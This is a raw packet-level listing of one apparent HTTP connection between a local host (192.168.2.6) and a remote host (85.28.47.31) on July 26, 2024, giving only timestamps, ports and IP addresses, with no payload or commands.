Jul 26, 2024 10:36:08.506330967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.506372929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.506393909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.506969929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.506985903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.507044077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.507111073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.507632971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.507649899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.507719994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.508512974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.508527994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.508569956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.508646965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.509094954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.509110928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.509124994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.509140015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.509165049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.509197950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.509984016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.509999990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.510015011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.510055065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.510088921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.510984898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.511002064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.511015892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.511050940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.511070967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.511965036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.511981964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.511997938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.512012959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.512038946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.513067961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.513067961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.513104916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.513120890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.513134956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.513164997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.513209105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.514120102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.514136076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.514151096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.514163971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.514166117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.514221907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.514933109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.514949083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.514964104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.515001059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.515022993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.515858889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.515875101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.515888929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.515903950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.515943050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.515943050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.515983105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.516666889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.516683102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.516697884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.516746044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.516746044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.517529011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.517545938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.517560959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.517604113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.517688036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.518366098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.518383026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.518397093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.518413067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.518424988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.518444061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.518474102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.519146919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.519162893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.519176006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.519208908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.519335032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.519989967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.520006895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.520020008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.520035982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.520045042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.520093918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.520844936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.520862103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.520875931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.520899057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.520962000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.521568060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.521584034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.521599054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.521626949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.521661997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.522381067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.522397995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.522411108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.522428036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.522440910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.522460938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.522460938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.522557020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.581099987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.581204891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.581288099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.581302881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.581337929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.581363916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.581818104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.581834078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.581851006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.581880093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.581907034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.582707882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.582724094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.582739115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.582763910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.582911968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.583544970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.583559990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.583575010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.583589077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.583609104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.583645105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.584430933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.584448099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.584462881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.584510088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.584510088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.585315943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.585330963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.585345030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.585391998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.585427046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.586169958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.586185932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.586201906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.586218119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.586244106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.586297989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.587064981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.587080956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.587095976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.587121964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.587183952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.587904930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.587985039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.591753960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.591840982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.591892004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.591911077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.592262030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.592534065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.592549086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.592641115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.592705965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.592751026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.592766047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.592771053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.592782021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.592804909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.592830896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.593699932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.593717098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.593732119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.593746901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.593761921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.593769073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.593818903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.593818903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.594506025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.594522953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.594540119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.594554901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.594583035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.594619989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.594619989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.595458984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.595474958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.595489979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.595504999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.595518112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.595535994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.595592022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.596374035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.596390963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.596405029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.596420050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.596435070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.596446991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.596446991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.596493959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.597294092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.597310066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.597323895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.597338915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.597359896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.597414970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.598248959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.598264933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.598278046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.598294020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.598301888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.598309040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.598351002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.598372936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.599438906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.599456072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.599469900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.599493027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.599523067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.599575996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.599575996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.600325108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.600341082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.600354910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.600368977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.600375891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.600383997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.600402117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.600445986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.601207018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.601222992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.601234913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.601298094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.601298094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.604610920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.604625940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.604641914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.604664087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.604703903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.605057001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.605072975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.605150938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.605150938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.605257034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.605273008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.605325937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.605325937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.605530024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.605552912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.605567932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.605581999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.605588913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.605600119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.605604887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.605649948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.606463909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.606478930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.606497049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.606511116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.606525898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.606551886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.606551886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.606585979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.607458115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.607472897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.607486963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.607501984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.607515097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.607522011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.607541084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.607547998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.607594013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.607594013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.608356953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.608374119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.608387947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.608402967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.608417034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.608419895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.608433008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.608447075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.608505964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.608525038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.609321117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.609337091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.609350920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.609366894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.609380007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.609395981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.609414101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.609414101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.609441996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.675090075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.675177097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.675215960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.675231934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.675311089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.675311089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.675698996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.675714970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.675729036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.675744057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.675828934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.675828934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.676752090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.676769018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.676783085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.676799059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.676817894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.676908970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.677968025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.677983999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.677998066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.678013086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.678030968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.678065062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.678112030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.678560972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.678576946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.678591967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.678607941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.678621054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.678632021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.678678989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.678714991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.679503918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.679521084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.679536104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.679550886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.679565907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.679575920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.679624081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.679640055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.680489063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.680504084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.680598974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.689121008 CEST	80	49710	85.28.47.31	192.168.2.6
